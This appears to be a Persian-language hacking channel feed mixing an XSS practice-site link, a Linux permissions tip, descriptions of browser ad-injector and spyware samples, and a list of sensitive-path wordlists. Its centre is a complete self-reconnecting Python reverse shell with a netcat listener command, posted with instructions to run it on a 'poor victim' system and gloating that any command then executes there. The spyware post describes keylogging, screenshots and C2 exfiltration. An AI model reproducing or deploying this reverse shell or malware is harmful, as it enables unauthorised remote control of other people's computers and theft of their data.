از این به بعد فایل های حساس رو روی اپلودر اپ میکنیم

سایت رایگان جهت تست آسیب‌پذیری XSS
https://wendigoscyber.github.io/xss
رایگان بدون تبلیغات استفاده کنید لذت ببرید. می‌تونید اسکنرهای XSS رو روش تست کنید.
چند نوع آسیب‌پذیری عالی داره

#XSS #آموزش #ℳℴ𝒷𝒾𝓃

خارج از موضوع بریم فضا

🔐 ‌Permission در لینوکس در ۳۰ ثانیه!

توی لینوکس هر فایل و پوشه‌ای یک سری دسترسی داره:
r برای خواندن، w برای نوشتن و x برای اجرا.

این تصویر رو ذخیره کن، چون Permission یکی از چیزهاییه که دیر یا زود توی لینوکس بهش برمی‌خوری. 🐧

#Linux #KaliLinux #LightKali #Tyger

کد گاد شل معکوس آوردم که اگه قطع بشه خودکار دوباره وصل میشه...

اول گوش بزنید:

nc -lvnp 4444

بعد کد رو تو سیستم بدبخت اوکی کنید:

import socket
import subprocess
import time

ATTACKER_IP = "127.0.0.1"
ATTACKER_PORT = 4444
RECONNECT_DELAY = 5

def connect():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ATTACKER_IP, ATTACKER_PORT))
            return s
        except:
            time.sleep(RECONNECT_DELAY)

def main():
    s = connect()
    while True:
        try:
            cmd = s.recv(4096).decode()
            if not cmd:
                break
            if cmd.strip() == "exit":
                break
            output = subprocess.run(cmd, shell=True, capture_output=True)
            s.send(output.stdout + output.stderr)
        except:
            s.close()
            s = connect()

if __name__ == "__main__":
    main()

اگه ویندوز باشه، subprocess.run با shell=True کار میکنه و دستورات cmd اجرا میشن. اگه لینوکس باشه، دستورات شل حالا اینا رو ول کن توی ترمینال nc هر دستوری بزنی، روی سیستم قربانی اجرا میشه و جوابش رو میبینی😈 اگه ارتباط قطع بشه، خودش بعد از ۵ ثانیه دوباره وصل میشه به اون بدبخت.

#Reverse_Shell #آموزش #ℳℴ𝒷𝒾𝓃

🕷 Browser Ad Injector | وقتی مرورگر بدون اجازه تغییر می‌کند

این اسکریپت با شناسایی پروفایل Chrome، Edge و Firefox، کدهای تبلیغاتی را داخل فایل‌های مرورگر تزریق می‌کند و فایل hosts سیستم را نیز تغییر می‌دهد.

⛓️ بخش جالب ماجرا، اجرای مداوم آن است؛ اسکریپت هر چند دقیقه دوباره تغییرات را اعمال می‌کند تا فعالیتش ادامه داشته باشد.

🔎 برای تحلیل Malware، رفتارهایی مثل File Modification، Hosts Modification و Persistence-like Behavior از مهم‌ترین مواردی هستند که باید زیر نظر گرفته شوند.

⚠️ فقط در VM ایزوله + Snapshot تحلیل شود.

----------------------------------------------------------

#MalwareAnalysis #CyberSecurity #Linux #KaliLinux #LightKali
#Tyger

ری اکشن هارو بترکونین چند تا ابزار اپلود کنم

بریم برا پست بعدی

یک اسکریپت گاد براتون اپلود کردم
میتونین برای دیدن کاراییش و نحوه استفاده دانلود کنین فایل رو
برای دانلود کلیک کنین

🕷 Spyware Core | وقتی سیستم، خودش جاسوس می‌شود...

این کد نمونه‌ای از یک Spyware چندمنظوره است که چند رفتار خطرناک را هم‌زمان ترکیب می‌کند:

⌨️ ثبت کلیدهای فشرده‌شده
📋 مانیتور کردن Clipboard
📸 گرفتن Screenshot دوره‌ای
🖥️ جمع‌آوری اطلاعات سیستم
📡 ارسال اطلاعات جمع‌آوری‌شده به یک سرور C2
🧵 اجرای هم‌زمان این فعالیت‌ها با Thread

نکته‌ی مهم اینجاست:
این فقط یک Keylogger نیست؛ چند تکنیک جمع‌آوری اطلاعات را در یک ساختار واحد ترکیب کرده و سپس داده‌ها را برای Exfiltration آماده می‌کند.

🔎 در تحلیل چنین نمونه‌ای، رفتارهایی مثل Keylogging، Screen Capture، Clipboard Monitoring و C2 Communication از مهم‌ترین شاخص‌های مشکوک هستند.

⚠️ این نوع کد را روی سیستم اصلی اجرا نکنید؛ برای مطالعه و تحلیل، از محیط آزمایشگاهی ایزوله استفاده کنید.

گاهی خطرناک‌ترین برنامه، برنامه‌ای نیست که چیزی را خراب کند؛ برنامه‌ای است که بی‌صدا تماشا می‌کند.

#Spyware #MalwareAnalysis #CyberSecurity #Tyger

ADM
admin-panels.txt
400 مسیر
لیست مسیرهای حساس

API
api-endpoints.txt
229 مسیر
لیست مسیرهای حساس

ATK
attack-patterns.txt
49 مسیر
لیست مسیرهای حساس

PT
backup-paths.txt
123 مسیر
لیست مسیرهای حساس

CLD
cloud-devops.txt
88 مسیر
لیست مسیرهای حساس

CFG
config-secrets.txt
240 مسیر
لیست مسیرهای حساس

PT
cpanel-paths.txt
198 مسیر
لیست مسیرهای حساس

CVE
cve-paths.txt
307 مسیر
لیست مسیرهای حساس

DRK
darkweb-leaks.txt
98 مسیر
لیست مسیرهای حساس